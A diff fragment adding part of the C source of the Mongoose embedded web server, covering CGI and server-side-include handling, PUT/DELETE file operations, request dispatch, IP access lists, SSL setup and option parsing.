+	 * Do not send anything back to client, until we buffer in all
+	 * HTTP headers.
+	 */
+	data_len = 0;
+	headers_len = read_request(out, INVALID_SOCKET, NULL,
+	    buf, sizeof(buf), &data_len);
+	if (headers_len <= 0) {
+		send_error(conn, 500, http_500_error,
+		    "CGI program sent malformed HTTP headers: [%.*s]",
+		    data_len, buf);
+		goto done;
+	}
+	pbuf = buf;
+	buf[headers_len - 1] = '\0';
+	parse_http_headers(&pbuf, &ri);
+
+	/* Make up and send the status line */
+	status = get_header(&ri, "Status");
+	conn->request_info.status_code = status == NULL ? 200 : atoi(status);
+	(void) mg_printf(conn, "HTTP/1.1 %d OK\r\n",
+	    conn->request_info.status_code);
+
+	/* Send headers */
+	for (i = 0; i < ri.num_headers; i++)
+		(void) mg_printf(conn, "%s: %s\r\n",
+		    ri.http_headers[i].name,
+		    ri.http_headers[i].value);
+	(void) mg_write(conn, "\r\n", 2);
+
+	/* Send chunk of data that may be read after the headers */
+	conn->num_bytes_sent += mg_write(conn,
+	    buf + headers_len, data_len - headers_len);
+
+	/* Read the rest of CGI output and send to the client */
+	send_opened_file_stream(conn, out, INT64_MAX);
+
+done:
+	if (pid != (pid_t) -1)
+		kill(pid, SIGTERM);
+	if (fd_stdin[0] != -1)
+		(void) close(fd_stdin[0]);
+	if (fd_stdout[1] != -1)
+		(void) close(fd_stdout[1]);
+
+	if (in != NULL)
+		(void) fclose(in);
+	else if (fd_stdin[1] != -1)
+		(void) close(fd_stdin[1]);
+
+	if (out != NULL)
+		(void) fclose(out);
+	else if (fd_stdout[0] != -1)
+		(void) close(fd_stdout[0]);
+}
+#endif /* !NO_CGI */
+
+/*
+ * For a given PUT path, create all intermediate subdirectories
+ * for given path. Return 0 if the path itself is a directory,
+ * or -1 on error, 1 if OK.
+ */
+static int
+put_dir(const char *path)
+{
+	char		buf[FILENAME_MAX];
+	const char	*s, *p;
+	struct mgstat	st;
+	size_t		len;
+
+	for (s = p = path + 2; (p = strchr(s, '/')) != NULL; s = ++p) {
+		len = p - path;
+		assert(len < sizeof(buf));
+		(void) memcpy(buf, path, len);
+		buf[len] = '\0';
+
+		/* Try to create intermediate directory */
+		if (mg_stat(buf, &st) == -1 && mg_mkdir(buf, 0755) != 0)
+			return (-1);
+
+		/* Is path itself a directory ? */
+		if (p[1] == '\0')
+			return (0);
+	}
+
+	return (1);
+}
+
+static void
+put_file(struct mg_connection *conn, const char *path)
+{
+	struct mgstat	st;
+	FILE		*fp;
+	int		rc;
+
+	conn->request_info.status_code = mg_stat(path, &st) == 0 ? 200 : 201;
+
+	if (mg_get_header(conn, "Range")) {
+		send_error(conn, 501, "Not Implemented",
+		    "%s", "Range support for PUT requests is not implemented");
+	} else if ((rc = put_dir(path)) == 0) {
+		(void) mg_printf(conn, "HTTP/1.1 %d OK\r\n\r\n",
+		    conn->request_info.status_code);
+	} else if (rc == -1) {
+		send_error(conn, 500, http_500_error,
+		    "put_dir(%s): %s", path, strerror(ERRNO));
+	} else if ((fp = mg_fopen(path, "wb+")) == NULL) {
+		send_error(conn, 500, http_500_error,
+		    "fopen(%s): %s", path, strerror(ERRNO));
+	} else {
+		set_close_on_exec(fileno(fp));
+		if (handle_request_body(conn, fp))
+			(void) mg_printf(conn, "HTTP/1.1 %d OK\r\n\r\n",
+			    conn->request_info.status_code);
+		(void) fclose(fp);
+	}
+}
+
+#if !defined(NO_SSI)
+static void send_ssi_file(struct mg_connection *, const char *, FILE *, int);
+
+static void
+do_ssi_include(struct mg_connection *conn, const char *ssi, char *tag,
+		int include_level)
+{
+	char	file_name[BUFSIZ], path[FILENAME_MAX], *p;
+	bool_t	is_ssi;
+	FILE	*fp;
+
+	/*
+	 * sscanf() is safe here, since send_ssi_file() also uses buffer
+	 * of size BUFSIZ to get the tag. So strlen(tag) is always < BUFSIZ.
+	 */
+	if (sscanf(tag, " virtual=\"%[^\"]\"", file_name) == 1) {
+		/* File name is relative to the webserver root */
+		(void) pthread_rwlock_rdlock(&conn->ctx->rwlock);
+		(void) mg_snprintf(conn, path, sizeof(path), "%s%c%s",
+		    conn->ctx->options[OPT_ROOT], DIRSEP, file_name);
+		(void) pthread_rwlock_unlock(&conn->ctx->rwlock);
+	} else if (sscanf(tag, " file=\"%[^\"]\"", file_name) == 1) {
+		/*
+		 * File name is relative to the webserver working directory
+		 * or it is absolute system path
+		 */
+		(void) mg_snprintf(conn, path, sizeof(path), "%s", file_name);
+	} else if (sscanf(tag, " \"%[^\"]\"", file_name) == 1) {
+		/* File name is relative to the currect document */
+		(void) mg_snprintf(conn, path, sizeof(path), "%s", ssi);
+		if ((p = strrchr(path, DIRSEP)) != NULL)
+			p[1] = '\0';
+		(void) mg_snprintf(conn, path + strlen(path),
+		    sizeof(path) - strlen(path), "%s", file_name);
+	} else {
+		cry(conn, "Bad SSI #include: [%s]", tag);
+		return;
+	}
+
+	if ((fp = mg_fopen(path, "rb")) == NULL) {
+		cry(conn, "Cannot open SSI #include: [%s]: fopen(%s): %s",
+		    tag, path, strerror(ERRNO));
+	} else {
+		set_close_on_exec(fileno(fp));
+		(void) pthread_rwlock_rdlock(&conn->ctx->rwlock);
+		is_ssi = match_extension(path,
+		    conn->ctx->options[OPT_SSI_EXTENSIONS]);
+		(void) pthread_rwlock_unlock(&conn->ctx->rwlock);
+		if (is_ssi) {
+			send_ssi_file(conn, path, fp, include_level + 1);
+		} else {
+			send_opened_file_stream(conn, fp, INT64_MAX);
+		}
+		(void) fclose(fp);
+	}
+}
+
+static void
+do_ssi_exec(struct mg_connection *conn, char *tag)
+{
+	char	cmd[BUFSIZ];
+	FILE	*fp;
+
+	if (sscanf(tag, " \"%[^\"]\"", cmd) != 1) {
+		cry(conn, "Bad SSI #exec: [%s]", tag);
+	} else if ((fp = popen(cmd, "r")) == NULL) {
+		cry(conn, "Cannot SSI #exec: [%s]: %s", cmd, strerror(ERRNO));
+	} else {
+		send_opened_file_stream(conn, fp, INT64_MAX);
+		(void) pclose(fp);
+	}
+}
+
+static void
+send_ssi_file(struct mg_connection *conn, const char *path, FILE *fp,
+		int include_level)
+{
+	char	buf[BUFSIZ];
+	int	ch, len, in_ssi_tag;
+
+	if (include_level > 10) {
+		cry(conn, "SSI #include level is too deep (%s)", path);
+		return;
+	}
+
+	in_ssi_tag = FALSE;
+	len = 0;
+
+	while ((ch = fgetc(fp)) != EOF) {
+		if (in_ssi_tag && ch == '>') {
+			in_ssi_tag = FALSE;
+			buf[len++] = ch & 0xff;
+			buf[len] = '\0';
+			assert(len <= (int) sizeof(buf));
+			if (len < 6 || memcmp(buf, "<!--#", 5) != 0) {
+				/* Not an SSI tag, pass it */
+				(void) mg_write(conn, buf, len);
+			} else {
+				if (!memcmp(buf + 5, "include", 7)) {
+					do_ssi_include(conn, path, buf + 12,
+					    include_level);
+				} else if (!memcmp(buf + 5, "exec", 4)) {
+					do_ssi_exec(conn, buf + 9);
+				} else {
+					cry(conn, "%s: unknown SSI "
+					    "command: \"%s\"", path, buf);
+				}
+			}
+			len = 0;
+		} else if (in_ssi_tag) {
+			if (len == 5 && memcmp(buf, "<!--#", 5) != 0) {
+				/* Not an SSI tag */
+				in_ssi_tag = FALSE;
+			} else if (len == (int) sizeof(buf) - 2) {
+				cry(conn, "%s: SSI tag is too large", path);
+				len = 0;
+			}
+			buf[len++] = ch & 0xff;
+		} else if (ch == '<') {
+			in_ssi_tag = TRUE;
+			if (len > 0)
+				(void) mg_write(conn, buf, len);
+			len = 0;
+			buf[len++] = ch & 0xff;
+		} else {
+			buf[len++] = ch & 0xff;
+			if (len == (int) sizeof(buf)) {
+				(void) mg_write(conn, buf, len);
+				len = 0;
+			}
+		}
+	}
+
+	/* Send the rest of buffered data */
+	if (len > 0)
+		(void) mg_write(conn, buf, len);
+
+}
+
+static void
+send_ssi(struct mg_connection *conn, const char *path)
+{
+	FILE	*fp;
+
+	if ((fp = mg_fopen(path, "rb")) == NULL) {
+		send_error(conn, 500, http_500_error,
+		    "fopen(%s): %s", path, strerror(ERRNO));
+	} else {
+		set_close_on_exec(fileno(fp));
+		(void) mg_printf(conn, "%s", "HTTP/1.1 200 OK\r\n"
+		    "Content-Type: text/html\r\nConnection: close\r\n\r\n");
+		send_ssi_file(conn, path, fp, 0);
+		(void) fclose(fp);
+	}
+}
+#endif /* !NO_SSI */
+
+/*
+ * This is the heart of the Mongoose's logic.
+ * This function is called when the request is read, parsed and validated,
+ * and Mongoose must decide what action to take: serve a file, or
+ * a directory, or call embedded function, etcetera.
+ */
+static void
+analyze_request(struct mg_connection *conn)
+{
+	struct mg_request_info *ri;
+	char			path[FILENAME_MAX];
+	int			uri_len;
+	struct mgstat		st;
+	mg_callback_t		new_request_callback;
+
+
+	ri = &conn->request_info;
+	if ((conn->request_info.query_string = strchr(ri->uri, '?')) != NULL)
+		* conn->request_info.query_string++ = '\0';
+	uri_len = strlen(ri->uri);
+	new_request_callback = conn->ctx->callbacks[MG_EVENT_NEW_REQUEST];
+	(void) url_decode(ri->uri, uri_len, ri->uri, uri_len + 1, FALSE);
+	remove_double_dots_and_double_slashes(ri->uri);
+	convert_uri_to_file_name(conn, ri->uri, path, sizeof(path));
+
+	if (new_request_callback && new_request_callback(conn, ri) == TRUE) {
+		/* Do nothing, callback has served the request */
+	} else if (!check_authorization(conn, path)) {
+		send_authorization_request(conn);
+	} else if (strstr(path, PASSWORDS_FILE_NAME)) {
+		/* Do not allow to view passwords files */
+		send_error(conn, 403, "Forbidden", "Access Forbidden");
+	} else if ((!strcmp(ri->request_method, "PUT") ||
+	    !strcmp(ri->request_method, "DELETE")) &&
+	    (conn->ctx->options[OPT_AUTH_PUT] == NULL ||
+	     !is_authorized_for_put(conn))) {
+		send_authorization_request(conn);
+	} else if (!strcmp(ri->request_method, "PUT")) {
+		put_file(conn, path);
+	} else if (!strcmp(ri->request_method, "DELETE")) {
+		if (mg_remove(path) == 0)
+			send_error(conn, 200, "OK", "");
+		else
+			send_error(conn, 500, http_500_error,
+			    "remove(%s): %s", path, strerror(ERRNO));
+	} else if (mg_stat(path, &st) != 0) {
+		send_error(conn, 404, "Not Found", "%s", "File not found");
+	} else if (st.is_directory && ri->uri[uri_len - 1] != '/') {
+		(void) mg_printf(conn,
+		    "HTTP/1.1 301 Moved Permanently\r\n"
+		    "Location: %s/\r\n\r\n", ri->uri);
+	} else if (st.is_directory &&
+	    substitute_index_file(conn, path, sizeof(path), &st) == FALSE) {
+		if (is_true(conn->ctx->options[OPT_DIR_LIST])) {
+			send_directory(conn, path);
+		} else {
+			send_error(conn, 403, "Directory Listing Denied",
+			    "Directory listing denied");
+		}
+#if !defined(NO_CGI)
+	} else if (match_extension(path,
+	    conn->ctx->options[OPT_CGI_EXTENSIONS])) {
+		if (strcmp(ri->request_method, "POST") &&
+		    strcmp(ri->request_method, "GET")) {
+			send_error(conn, 501, "Not Implemented",
+			    "Method %s is not implemented", ri->request_method);
+		} else {
+			send_cgi(conn, path);
+		}
+#endif /* NO_CGI */
+#if !defined(NO_SSI)
+	} else if (match_extension(path,
+	    conn->ctx->options[OPT_SSI_EXTENSIONS])) {
+		send_ssi(conn, path);
+#endif /* NO_SSI */
+	} else if (is_not_modified(conn, &st)) {
+		send_error(conn, 304, "Not Modified", "");
+	} else {
+		send_file(conn, path, &st);
+	}
+}
+
+static void
+close_all_listening_sockets(struct mg_context *ctx)
+{
+	int	i;
+
+	for (i = 0; i < ctx->num_listeners; i++)
+		(void) closesocket(ctx->listeners[i].sock);
+	ctx->num_listeners = 0;
+}
+
+static enum mg_error_t
+set_ports_option(struct mg_context *ctx, const char *list)
+{
+	SOCKET		sock;
+	int		is_ssl;
+	struct vec	vec;
+	struct socket	*listener;
+
+	close_all_listening_sockets(ctx);
+	assert(ctx->num_listeners == 0);
+
+	while ((list = next_option(list, &vec, NULL)) != NULL) {
+
+		is_ssl	= vec.ptr[vec.len - 1] == 's' ? TRUE : FALSE;
+		listener = ctx->listeners + ctx->num_listeners;
+
+		if (ctx->num_listeners >=
+		    (int) (ARRAY_SIZE(ctx->listeners) - 1)) {
+			cry(fc(ctx), "%s", "Too many listeninig sockets");
+			return (MG_ERROR);
+		} else if ((sock = mg_open_listening_port(ctx,
+		    vec.ptr, &listener->lsa)) == INVALID_SOCKET) {
+			cry(fc(ctx), "cannot bind to %.*s", vec.len, vec.ptr);
+			return (MG_ERROR);
+		} else if (is_ssl == TRUE && ctx->ssl_ctx == NULL) {
+			(void) closesocket(sock);
+			cry(fc(ctx), "cannot add SSL socket, please specify "
+			    "-ssl_cert option BEFORE -ports option");
+			return (MG_ERROR);
+		} else {
+			listener->sock = sock;
+			listener->is_ssl = is_ssl;
+			ctx->num_listeners++;
+		}
+	}
+
+	return (MG_SUCCESS);
+}
+
+static void
+log_header(const struct mg_connection *conn, const char *header, FILE *fp)
+{
+	const char	*header_value;
+
+	if ((header_value = mg_get_header(conn, header)) == NULL) {
+		(void) fprintf(fp, "%s", " -");
+	} else {
+		(void) fprintf(fp, " \"%s\"", header_value);
+	}
+}
+
+static void
+log_access(const struct mg_connection *conn)
+{
+	const struct mg_request_info *ri;
+	FILE	*fp;
+	char	date[64];
+
+	(void) pthread_rwlock_rdlock(&conn->ctx->rwlock);
+	fp = conn->ctx->options[OPT_ACCESS_LOG] == NULL ?  NULL :
+		mg_fopen(conn->ctx->options[OPT_ACCESS_LOG], "a+");
+	(void) pthread_rwlock_unlock(&conn->ctx->rwlock);
+
+	if (fp == NULL)
+		return;
+
+	(void) strftime(date, sizeof(date), "%d/%b/%Y:%H:%M:%S %z",
+	    localtime(&conn->birth_time));
+
+	ri = &conn->request_info;
+
+	flockfile(fp);
+
+	(void) fprintf(fp,
+	    "%s - %s [%s] \"%s %s HTTP/%s\" %d %" INT64_FMT,
+	    inet_ntoa(conn->client.rsa.u.sin.sin_addr),
+	    ri->remote_user == NULL ? "-" : ri->remote_user,
+	    date,
+	    ri->request_method ? ri->request_method : "-",
+	    ri->uri ? ri->uri : "-",
+	    ri->http_version,
+	    conn->request_info.status_code, conn->num_bytes_sent);
+	log_header(conn, "Referer", fp);
+	log_header(conn, "User-Agent", fp);
+	(void) fputc('\n', fp);
+	(void) fflush(fp);
+
+	funlockfile(fp);
+	(void) fclose(fp);
+}
+
+static bool_t
+isbyte(int n) {
+	return (n >= 0 && n <= 255);
+}
+
+/*
+ * Verify given socket address against the ACL.
+ * Return -1 if ACL is malformed, 0 if address is disallowed, 1 if allowed.
+ */
+static enum mg_error_t
+check_acl(struct mg_context *ctx, const char *list, const struct usa *usa)
+{
+	int		a, b, c, d, n, mask, allowed;
+	char		flag;
+	uint32_t	acl_subnet, acl_mask, remote_ip;
+	struct vec	vec;
+
+	(void) memcpy(&remote_ip, &usa->u.sin.sin_addr, sizeof(remote_ip));
+
+	/* If any ACL is set, deny by default */
+	allowed = '-';
+
+	while ((list = next_option(list, &vec, NULL)) != NULL) {
+
+		mask = 32;
+
+		if (sscanf(vec.ptr, "%c%d.%d.%d.%d%n",
+		    &flag, &a, &b, &c, &d, &n) != 5) {
+			cry(fc(ctx),
+			    "%s: subnet must be [+|-]x.x.x.x[/x]", __func__);
+			return (MG_ERROR);
+		} else if (flag != '+' && flag != '-') {
+			cry(fc(ctx), "%s: flag must be + or -: [%s]",
+			    __func__, vec.ptr);
+			return (MG_ERROR);
+		} else if (!isbyte(a)||!isbyte(b)||!isbyte(c)||!isbyte(d)) {
+			cry(fc(ctx),
+			    "%s: bad ip address: [%s]", __func__, vec.ptr);
+			return (MG_ERROR);
+		} else if (sscanf(vec.ptr + n, "/%d", &mask) == 0) {
+			/* Do nothing, no mask specified */
+		} else if (mask < 0 || mask > 32) {
+			cry(fc(ctx), "%s: bad subnet mask: %d [%s]",
+			    __func__, n, vec.ptr);
+			return (MG_ERROR);
+		}
+
+		acl_subnet = (a << 24) | (b << 16) | (c << 8) | d;
+		acl_mask = mask ? 0xffffffffU << (32 - mask) : 0;
+
+		if (acl_subnet == (ntohl(remote_ip) & acl_mask))
+			allowed = flag;
+	}
+
+	return (allowed == '+' ? MG_SUCCESS : MG_ERROR);
+}
+
+static void
+add_to_set(SOCKET fd, fd_set *set, int *max_fd)
+{
+	FD_SET(fd, set);
+	if (fd > (SOCKET) *max_fd)
+		*max_fd = (int) fd;
+}
+
+/*
+ * Deallocate mongoose context, free up the resources
+ */
+static void
+mg_fini(struct mg_context *ctx)
+{
+	int	i;
+
+	close_all_listening_sockets(ctx);
+
+	/* Wait until all threads finish */
+	(void) pthread_mutex_lock(&ctx->mutex);
+	while (ctx->num_threads > 0)
+		(void) pthread_cond_wait(&ctx->thr_cond, &ctx->mutex);
+	(void) pthread_mutex_unlock(&ctx->mutex);
+
+	/* Deallocate all options */
+	for (i = 0; i < NUM_OPTIONS; i++)
+		if (ctx->options[i] != NULL)
+			free(ctx->options[i]);
+
+	/* Deallocate SSL context */
+	if (ctx->ssl_ctx)
+		SSL_CTX_free(ctx->ssl_ctx);
+
+	(void) pthread_rwlock_destroy(&ctx->rwlock);
+	(void) pthread_mutex_destroy(&ctx->mutex);
+	(void) pthread_cond_destroy(&ctx->thr_cond);
+	(void) pthread_cond_destroy(&ctx->empty_cond);
+	(void) pthread_cond_destroy(&ctx->full_cond);
+
+	/* Signal mg_stop() that we're done */
+	ctx->stop_flag = 2;
+}
+
+#if !defined(_WIN32)
+static enum mg_error_t
+set_uid_option(struct mg_context *ctx, const char *uid)
+{
+	struct passwd	*pw;
+	enum mg_error_t error = MG_ERROR;
+
+	if ((pw = getpwnam(uid)) == NULL)
+		cry(fc(ctx), "%s: unknown user [%s]", __func__, uid);
+	else if (setgid(pw->pw_gid) == -1)
+		cry(fc(ctx), "%s: setgid(%s): %s",
+		    __func__, uid, strerror(errno));
+	else if (setuid(pw->pw_uid) == -1)
+		cry(fc(ctx), "%s: setuid(%s): %s",
+		    __func__, uid, strerror(errno));
+	else
+		error = MG_SUCCESS;
+
+	return (error);
+}
+#endif /* !_WIN32 */
+
+#if !defined(NO_SSL)
+static pthread_mutex_t *ssl_mutexes;
+
+static void
+ssl_locking_callback(int mode, int mutex_num, const char *file, int line)
+{
+	line = 0;	/* Unused */
+	file = NULL;	/* Unused */
+
+	if (mode & CRYPTO_LOCK)
+		(void) pthread_mutex_lock(&ssl_mutexes[mutex_num]);
+	else
+		(void) pthread_mutex_unlock(&ssl_mutexes[mutex_num]);
+}
+
+static unsigned long
+ssl_id_callback(void)
+{
+	return ((unsigned long) pthread_self());
+}
+
+static bool_t
+load_dll(struct mg_context *ctx, const char *dll_name, struct ssl_func *sw)
+{
+	union {void *p; void (*fp)(void);} u;
+	void		*dll_handle;
+	struct ssl_func	*fp;
+
+	if ((dll_handle = dlopen(dll_name, RTLD_LAZY)) == NULL) {
+		cry(fc(ctx), "%s: cannot load %s", __func__, dll_name);
+		return (FALSE);
+	}
+
+	for (fp = sw; fp->name != NULL; fp++) {
+#ifdef _WIN32
+		/* GetProcAddress() returns pointer to function */
+		u.fp = (void (*)(void)) dlsym(dll_handle, fp->name);
+#else
+		/*
+		 * dlsym() on UNIX returns void *.
+		 * ISO C forbids casts of data pointers to function
+		 * pointers. We need to use a union to make a cast.
+		 */
+		u.p = dlsym(dll_handle, fp->name);
+#endif /* _WIN32 */
+		if (u.fp == NULL) {
+			cry(fc(ctx), "%s: cannot find %s", __func__, fp->name);
+			return (FALSE);
+		} else {
+			fp->ptr = u.fp;
+		}
+	}
+
+	return (TRUE);
+}
+
+/*
+ * Dynamically load SSL library. Set up ctx->ssl_ctx pointer.
+ */
+static enum mg_error_t
+set_ssl_option(struct mg_context *ctx, const char *pem)
+{
+	SSL_CTX		*CTX;
+	int		i, size;
+
+	if (load_dll(ctx, SSL_LIB, ssl_sw) == FALSE ||
+	    load_dll(ctx, CRYPTO_LIB, crypto_sw) == FALSE)
+		return (MG_ERROR);
+
+	/* Initialize SSL crap */
+	SSL_library_init();
+
+	if ((CTX = SSL_CTX_new(SSLv23_server_method())) == NULL)
+		cry(fc(ctx), "SSL_CTX_new error");
+	else if (ctx->callbacks[MG_EVENT_SSL_PASSWORD] != NULL)
+		SSL_CTX_set_default_passwd_cb(CTX,
+				ctx->callbacks[MG_EVENT_SSL_PASSWORD]);
+
+	if (CTX != NULL && SSL_CTX_use_certificate_file(
+	    CTX, pem, SSL_FILETYPE_PEM) == 0) {
+		cry(fc(ctx), "%s: cannot open %s", __func__, pem);
+		return (MG_ERROR);
+	} else if (CTX != NULL && SSL_CTX_use_PrivateKey_file(
+	    CTX, pem, SSL_FILETYPE_PEM) == 0) {
+		cry(fc(ctx), "%s: cannot open %s", NULL, pem);
+		return (MG_ERROR);
+	}
+
+	/*
+	 * Initialize locking callbacks, needed for thread safety.
+	 * http://www.openssl.org/support/faq.html#PROG1
+	 */
+	size = sizeof(pthread_mutex_t) * CRYPTO_num_locks();
+	if ((ssl_mutexes = (pthread_mutex_t *) malloc(size)) == NULL) {
+		cry(fc(ctx), "%s: cannot allocate mutexes", __func__);
+		return (MG_ERROR);
+	}
+
+	for (i = 0; i < CRYPTO_num_locks(); i++)
+		pthread_mutex_init(&ssl_mutexes[i], NULL);
+
+	CRYPTO_set_locking_callback(&ssl_locking_callback);
+	CRYPTO_set_id_callback(&ssl_id_callback);
+
+	/* Done with everything. Save the context. */
+	ctx->ssl_ctx = CTX;
+
+	return (MG_SUCCESS);
+}
+#endif /* !NO_SSL */
+
+static enum mg_error_t
+set_gpass_option(struct mg_context *ctx, const char *path)
+{
+	struct mgstat	mgstat;
+	ctx = NULL;
+	return (mg_stat(path, &mgstat) == 0 ? MG_SUCCESS : MG_ERROR);
+}
+
+static enum mg_error_t
+set_acl_option(struct mg_context *ctx, const char *acl)
+{
+	struct usa	fake;
+	return (check_acl(ctx, acl, &fake));
+}
+
+/*
+ * Check if the comma-separated list of options has a format of key-value
+ * pairs: "k1=v1,k2=v2". Return FALSE if any entry has invalid key or value.
+ */
+static enum mg_error_t
+set_kv_list_option(struct mg_context *ctx, const char *str)
+{
+	const char	*list;
+	struct vec	key, value;
+
+	list = str;
+	while ((list = next_option(list, &key, &value)) != NULL)
+		if (key.len == 0 || value.len == 0) {
+			cry(fc(ctx), "Invalid list specified: [%s], "
+			    "expecting key1=value1,key2=value2,...", str);
+			return (MG_ERROR);
+		}
+
+	return (MG_SUCCESS);
+}
+
+static enum mg_error_t
+set_root_option(struct mg_context *ctx, const char *root)
+{
+	struct mgstat buf;
+	if ( mg_stat(root, &buf) != 0) {
+		cry(fc(ctx), "Invalid root directory: \"%s\"", root);
+		return (MG_ERROR);
+
+	}
+	return (MG_SUCCESS);
+}
+
+static const struct mg_option known_options[] = {
+	{"root", "\tWeb root directory", ".", OPT_ROOT, set_root_option},
+	{"index_files",	"Index files", "index.html,index.htm,index.cgi",
+		OPT_INDEX_FILES, NULL},
+#if !defined(NO_SSL)
+	{"ssl_cert", "SSL certificate file", NULL,
+		OPT_SSL_CERTIFICATE, &set_ssl_option},
+#endif /* !NO_SSL */
+	{"ports", "Listening ports", NULL,
+		OPT_PORTS, &set_ports_option},
+	{"dir_list", "Directory listing", "yes",
+		OPT_DIR_LIST, NULL},
+	{"protect", "URI to htpasswd mapping", NULL,
+		OPT_PROTECT, &set_kv_list_option},
+#if !defined(NO_CGI)
+	{"cgi_ext", "CGI extensions", ".cgi,.pl,.php",
+		OPT_CGI_EXTENSIONS, NULL},
+	{"cgi_interp", "CGI interpreter to use with all CGI scripts", NULL,
+		OPT_CGI_INTERPRETER, NULL},
+	{"cgi_env", "Custom CGI enviroment variables", NULL,
+		OPT_CGI_ENV, &set_kv_list_option},
+#endif /* NO_CGI */
+	{"ssi_ext", "SSI extensions", ".shtml,.shtm",
+		OPT_SSI_EXTENSIONS, NULL},
+	{"auth_realm", "Authentication domain name", "mydomain.com",
+		OPT_AUTH_DOMAIN, NULL},
+	{"auth_gpass", "Global passwords file", NULL,
+		OPT_AUTH_GPASSWD, &set_gpass_option},
+	{"auth_PUT", "PUT,DELETE auth file", NULL,
+		OPT_AUTH_PUT, NULL},
+#if !defined(_WIN32)
+	{"uid", "\tRun as user", NULL, OPT_UID, &set_uid_option},
+#endif /* !_WIN32 */
+	{"access_log", "Access log file", NULL, OPT_ACCESS_LOG, NULL},
+	{"error_log", "Error log file", NULL, OPT_ERROR_LOG, NULL},
+	{"aliases", "Path=URI mappings", NULL,
+		OPT_ALIASES, &set_kv_list_option},
+	{"admin_uri", "Administration page URI", NULL, OPT_ADMIN_URI, NULL},
+	{"acl", "\tAllow/deny IP addresses/subnets", NULL,
+		OPT_ACL, &set_acl_option},
+	{"max_threads", "Maximum simultaneous threads to spawn", "100",
+		OPT_MAX_THREADS, NULL},
+	{"idle_time", "Time in seconds connection stays idle", "10",
+		OPT_IDLE_TIME, NULL},
+	{"mime_types", "Comma separated list of ext=mime_type pairs", NULL,
+		OPT_MIME_TYPES, &set_kv_list_option},
+	{NULL, NULL, NULL, 0, NULL}
+};
+
+static const struct mg_option *
+find_opt(const char *opt_name)
+{
+	int	i;
+
+	for (i = 0; known_options[i].name != NULL; i++)
+		if (!strcmp(opt_name, known_options[i].name))
+			return (known_options + i);
+
+	return (NULL);
+}
+
+enum mg_error_t
+mg_set_option(struct mg_context *ctx, const char *opt, const char *val)
+{
+	const struct mg_option	*option;
+	int			i, error;
+
+	DEBUG_TRACE((DEBUG_MGS_PREFIX "%s: [%s]->[%s]", __func__, opt, val));
+	if (opt != NULL && (option = find_opt(opt)) != NULL) {
+		i = (int) (option - known_options);
+		error = option->setter ? option->setter(ctx, val) : MG_SUCCESS;
+
+		/*
+		 * Write lock the option. Free old value, set new value.
+		 * Make sure no calls that may trigger read lock are made.
+		 */
+		(void) pthread_rwlock_wrlock(&ctx->rwlock);
+		if (ctx->options[option->index] != NULL)
+			free(ctx->options[option->index]);
+		ctx->options[option->index] = val ? mg_strdup(val) : NULL;
+		(void) pthread_rwlock_unlock(&ctx->rwlock);
+
+		if (error != MG_SUCCESS)
+			cry(fc(ctx), "%s(%s): failure", __func__, opt);
+	} else {
+		cry(fc(ctx), "%s: No such option: [%s]", __func__, opt);
+		error = MG_NOT_FOUND;
+	}
+
+	return (error);
+}
+
+void
+mg_show_usage_string(FILE *fp)
+{
+	const struct mg_option	*o;
+
+	(void) fprintf(stderr,
+	    "Mongoose version %s (c) Sergey Lyubka\n"
+	    "usage: mongoose [options] [config_file]\n", mg_version());
+
+	fprintf(fp, "  -A <htpasswd_file> <realm> <user> <passwd>\n");
+
+	for (o = known_options; o->name != NULL; o++) {
+		(void) fprintf(fp, "  -%s\t%s", o->name, o->description);
+		if (o->default_value != NULL)
+			fprintf(fp, " (default: \"%s\")", o->default_value);
+		fputc('\n', fp);
+	}
+}
+
+enum mg_error_t
+mg_get_option(struct mg_context *ctx, const char *option_name,
+		char *dst, size_t dst_len)
+{
+	const struct mg_option	*option;
+	enum mg_error_t		error;
+
+	(void) pthread_rwlock_rdlock(&ctx->rwlock);
+	if ((option = find_opt(option_name)) == NULL) {
+		error = MG_NOT_FOUND;
+	} else if (ctx->options[option->index] == NULL) {
+		error = MG_SUCCESS;
+		dst[0] = '\0';
+	} else if (strlen(ctx->options[option->index]) >= dst_len) {
+		error = MG_BUFFER_TOO_SMALL;
+	} else {
+		mg_strlcpy(dst, ctx->options[option->index], dst_len);
+		error = MG_SUCCESS;
+	}
+	(void) pthread_rwlock_unlock(&ctx->rwlock);
+
+	return (error);
+}
+
+void
+mg_set_callback(struct mg_context *ctx, enum mg_event_t event, mg_callback_t cb)
+{
+	/* No locking, no sanity checking. Suppose this is fine? */
+	ctx->callbacks[event] = cb;
+}
+
+#if 0
+static void
+admin_page(struct mg_connection *conn, const struct mg_request_info *ri,
+			   void *user_data)
+{
+	const struct mg_option	*option;
+	const char		*option_name, *option_value;
+
+	user_data = NULL; /* Unused */
+
+	(void) mg_printf(conn,
+	"HTTP/1.1 200 OK\r\n"
+			"Content-Type: text/html\r\n\r\n"
+			"<html><body><h1>Mongoose v. %s</h1>", mg_version());
+
+	if (!strcmp(ri->request_method, "POST")) {
+		option_name = mg_get_var(conn, "o");
+		option_value = mg_get_var(conn, "v");
+		if (mg_set_option(conn->ctx,
+		    option_name, option_value) == -1) {
+			(void) mg_printf(conn,
+			    "<p style=\"background: red\">Error setting "
+			    "option \"%s\"</p>",
+			    option_name ? option_name : "(null)");
+		} else {
+			(void) mg_printf(conn,
+			    "<p style=\"color: green\">Saved: %s=%s</p>",
+			    option_name, option_value ? option_value : "NULL");
+		}
+	}
+
+	/* Print table with all options */
+	(void) mg_printf(conn, "%s", "<table border=\"1\""
+			"<tr><th>Option</th><th>Description</th>"
+					"<th colspan=2>Value</th></tr>");
+
+	for (option = known_options; option->name != NULL; option++) {
+		option_value = mg_get_option(conn->ctx, option->name);
+		if (option_value == NULL)
+			option_value = "";
+		(void) mg_printf(conn,
+		    "<form method=post><tr><td>%s</td><td>%s</td>"
+		    "<input type=hidden name=o value='%s'>"
+		    "<td><input type=text name=v value='%s'></td>"
+		    "<td><input type=submit value=save></td></form></tr>",
+		    option->name, option->description,
+		    option->name, option_value);
+	}
+
+	(void) mg_printf(conn, "%s", "</table></body></html>");
+}
+#endif
+
+static void
+reset_per_request_attributes(struct mg_connection *conn)
+{
+	if (conn->request_info.remote_user != NULL) {
+		free((void *) conn->request_info.remote_user);
+		conn->request_info.remote_user = NULL;
+	}
+	if (conn->free_post_data && conn->request_info.post_data != NULL) {
+		free((void *) conn->request_info.post_data);
+		conn->request_info.post_data = NULL;
+	}
+}
+
+static void
+close_socket_gracefully(struct mg_connection *conn, SOCKET sock)
+{
+	char	buf[BUFSIZ];
+	int	n;
+
+	/* Send FIN to the client */
+	(void) shutdown(sock, SHUT_WR);
+	set_non_blocking_mode(conn, sock);
